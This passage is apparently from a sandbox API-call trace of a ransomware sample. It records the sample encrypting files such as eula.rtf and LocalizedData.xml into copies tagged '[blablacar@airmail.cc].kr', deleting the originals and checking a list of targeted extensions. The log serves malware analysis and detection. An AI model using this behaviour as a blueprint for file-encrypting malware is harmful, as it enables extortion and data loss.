"c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.282] GetLastError () returned 0x0 [0079.282] ReadFile (in: hFile=0x2b8, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x81, lpOverlapped=0x0) returned 1 [0079.282] WriteFile (in: hFile=0x2c4, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x90, lpOverlapped=0x0) returned 1 [0079.283] ReadFile (in: hFile=0x2b8, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0079.283] WriteFile (in: hFile=0x2c4, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xea, lpOverlapped=0x0) returned 1 [0079.283] SetEndOfFile (hFile=0x2c4) returned 1 [0079.283] CloseHandle (hObject=0x2c4) returned 1 [0079.287] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0079.287] SetEndOfFile (hFile=0x2b8) returned 1 [0079.288] CloseHandle (hObject=0x2b8) returned 1 [0079.288] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x26) returned 1 [0079.289] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0079.289] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.289] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.289] lstrlenW (lpString=".doc") returned 4 [0079.289] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0079.289] lstrlenW (lpString=".docx") returned 5 [0079.289] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0079.289] lstrlenW (lpString=".pdf") returned 4 [0079.289] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0079.289] lstrlenW (lpString=".xls") returned 4 [0079.289] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0079.289] lstrlenW (lpString=".xlsx") returned 5 [0079.289] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0079.289] lstrlenW (lpString=".ppt") returned 4 [0079.289] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0079.289] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.289] lstrlenW (lpString=".zip") returned 4 [0079.289] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0079.289] lstrlenW (lpString=".rar") returned 4 [0079.290] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0079.290] lstrlenW (lpString=".bz2") returned 4 [0079.290] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0079.290] lstrlenW (lpString=".7z") returned 3 [0079.290] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0079.290] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.290] lstrlenW (lpString=".dbf") returned 4 [0079.290] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0079.290] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.290] lstrlenW (lpString=".1cd") returned 4 [0079.290] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0079.290] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.290] lstrlenW (lpString=".jpg") returned 4 [0079.290] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0079.290] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.290] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.290] lstrlenW (lpString=".doc") returned 4 [0079.290] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0079.290] lstrlenW (lpString=".docx") returned 5 [0079.290] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0079.290] lstrlenW (lpString=".pdf") returned 4 [0079.290] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0079.290] lstrlenW (lpString=".xls") returned 4 [0079.290] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0079.290] lstrlenW (lpString=".xlsx") returned 5 [0079.290] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0079.290] lstrlenW (lpString=".ppt") returned 4 [0079.290] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0079.290] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.290] lstrlenW (lpString=".zip") returned 4 [0079.291] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0079.291] lstrlenW (lpString=".rar") returned 4 [0079.291] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0079.291] lstrlenW (lpString=".bz2") returned 4 [0079.291] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0079.291] lstrlenW (lpString=".7z") returned 3 [0079.291] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0079.291] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.291] lstrlenW (lpString=".dbf") returned 4 [0079.291] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0079.291] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.291] lstrlenW (lpString=".1cd") returned 4 [0079.291] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0079.291] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0079.291] lstrlenW (lpString=".jpg") returned 4 [0079.291] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0079.291] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0079.291] lstrlenW (lpString="eula.rtf") returned 8 [0079.291] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.293] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=7567) returned 1 [0079.293] CloseHandle (hObject=0x2b8) returned 1 [0079.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0079.293] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0079.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.293] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0079.293] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0079.293] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.295] GetLastError () returned 0x0 [0079.295] ReadFile (in: hFile=0x2b8, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0079.297] WriteFile (in: hFile=0x2c4, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1d90, lpOverlapped=0x0) returned 1 [0079.298] ReadFile (in: hFile=0x2b8, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0079.298] WriteFile (in: hFile=0x2c4, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0079.299] SetEndOfFile (hFile=0x2c4) returned 1 [0079.299] CloseHandle (hObject=0x2c4) returned 1 [0079.307] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0079.307] SetEndOfFile (hFile=0x2b8) returned 1 [0079.308] CloseHandle (hObject=0x2b8) returned 1 [0079.308] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0079.308] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0079.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0079.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0079.309] lstrlenW (lpString=".doc") returned 4 [0079.309] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0079.309] lstrlenW (lpString=".docx") returned 5 [0079.309] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0079.309] lstrlenW (lpString=".pdf") returned 4 [0079.309] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0079.309] lstrlenW (lpString=".xls") returned 4 [0079.309] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0079.309] lstrlenW (lpString=".xlsx") returned 5 [0079.309] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0079.309] lstrlenW (lpString=".ppt") returned 4 [0079.309] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0079.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0079.309] lstrlenW (lpString=".zip") returned 4 [0079.309] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0079.309] lstrlenW (lpString=".rar") returned 4 [0079.309] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0079.309] lstrlenW (lpString=".bz2") returned 4 [0079.309] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0079.309] lstrlenW (lpString=".7z") returned 3 [0079.309] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0079.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0079.309] lstrlenW (lpString=".dbf") returned 4 [0079.309] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0079.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0079.310] lstrlenW (lpString=".1cd") returned 4 [0079.310] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0081.232] lstrlenW (lpString=".jpg") returned 4 [0081.232] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0081.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0081.232] lstrlenW (lpString=".doc") returned 4 [0081.232] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0081.232] lstrlenW (lpString=".docx") returned 5 [0081.232] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0081.232] lstrlenW (lpString=".pdf") returned 4 [0081.232] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0081.232] lstrlenW (lpString=".xls") returned 4 [0081.232] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0081.233] lstrlenW (lpString=".xlsx") returned 5 [0081.233] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0081.233] lstrlenW (lpString=".ppt") returned 4 [0081.233] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0081.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0081.233] lstrlenW (lpString=".zip") returned 4 [0081.233] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0081.233] lstrlenW (lpString=".rar") returned 4 [0081.233] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0081.233] lstrlenW (lpString=".bz2") returned 4 [0081.233] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0081.233] lstrlenW (lpString=".7z") returned 3 [0081.233] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0081.233] lstrlenW (lpString=".dbf") returned 4 [0081.233] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0081.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0081.233] lstrlenW (lpString=".1cd") returned 4 [0081.233] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0081.233] lstrlenW (lpString=".jpg") returned 4 [0081.233] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.234] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0081.234] lstrlenW (lpString="eula.rtf") returned 8 [0081.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.235] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3726) returned 1 [0081.235] CloseHandle (hObject=0x2ec) returned 1 [0081.235] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0081.235] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.235] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.235] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0081.238] GetLastError () returned 0x0 [0081.238] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xe8e, lpOverlapped=0x0) returned 1 [0081.240] WriteFile (in: hFile=0x2f0, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe90, lpOverlapped=0x0) returned 1 [0081.241] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0081.241] WriteFile (in: hFile=0x2f0, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0081.242] SetEndOfFile (hFile=0x2f0) returned 1 [0081.242] CloseHandle (hObject=0x2f0) returned 1 [0081.243] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.243] SetEndOfFile (hFile=0x2ec) returned 1 [0081.244] CloseHandle (hObject=0x2ec) returned 1 [0081.244] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0081.244] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0081.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.245] lstrlenW (lpString=".doc") returned 4 [0081.245] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0081.245] lstrlenW (lpString=".docx") returned 5 [0081.245] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0081.245] lstrlenW (lpString=".pdf") returned 4 [0081.245] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0081.245] lstrlenW (lpString=".xls") returned 4 [0081.245] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0081.245] lstrlenW (lpString=".xlsx") returned 5 [0081.245] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0081.245] lstrlenW (lpString=".ppt") returned 4 [0081.245] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0081.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.245] lstrlenW (lpString=".zip") returned 4 [0081.245] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0081.245] lstrlenW (lpString=".rar") returned 4 [0081.245] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0081.245] lstrlenW (lpString=".bz2") returned 4 [0081.245] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0081.245] lstrlenW (lpString=".7z") returned 3 [0081.245] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.246] lstrlenW (lpString=".dbf") returned 4 [0081.246] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0081.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.246] lstrlenW (lpString=".1cd") returned 4 [0081.246] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.246] lstrlenW (lpString=".jpg") returned 4 [0081.246] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.246] lstrlenW (lpString=".doc") returned 4 [0081.246] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0081.246] lstrlenW (lpString=".docx") returned 5 [0081.246] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0081.246] lstrlenW (lpString=".pdf") returned 4 [0081.246] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0081.246] lstrlenW (lpString=".xls") returned 4 [0081.246] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0081.246] lstrlenW (lpString=".xlsx") returned 5 [0081.246] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0081.246] lstrlenW (lpString=".ppt") returned 4 [0081.246] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0081.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.246] lstrlenW (lpString=".zip") returned 4 [0081.246] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0081.246] lstrlenW (lpString=".rar") returned 4 [0081.247] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0081.247] lstrlenW (lpString=".bz2") returned 4 [0081.247] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0081.247] lstrlenW (lpString=".7z") returned 3 [0081.247] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.247] lstrlenW (lpString=".dbf") returned 4 [0081.247] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0081.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.247] lstrlenW (lpString=".1cd") returned 4 [0081.247] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0081.247] lstrlenW (lpString=".jpg") returned 4 [0081.247] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.248] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0081.248] lstrlenW (lpString="LocalizedData.xml") returned 17 [0081.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.248] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=80970) returned 1 [0081.248] CloseHandle (hObject=0x2ec) returned 1 [0081.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0081.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.248] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.248] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0081.249] GetLastError () returned 0x0 [0081.249] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0081.252] WriteFile (in: hFile=0x2f0, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13c50, lpOverlapped=0x0) returned 1 [0081.255] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0081.255] WriteFile (in: hFile=0x2f0, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf6, lpOverlapped=0x0) returned 1 [0081.255] SetEndOfFile (hFile=0x2f0) returned 1 [0081.255] CloseHandle (hObject=0x2f0) returned 1 [0081.462] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0081.462] SetEndOfFile (hFile=0x2ec) returned 1 [0081.463] CloseHandle (hObject=0x2ec) returned 1 [0081.463] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0081.548] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0081.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0081.548] lstrlenW 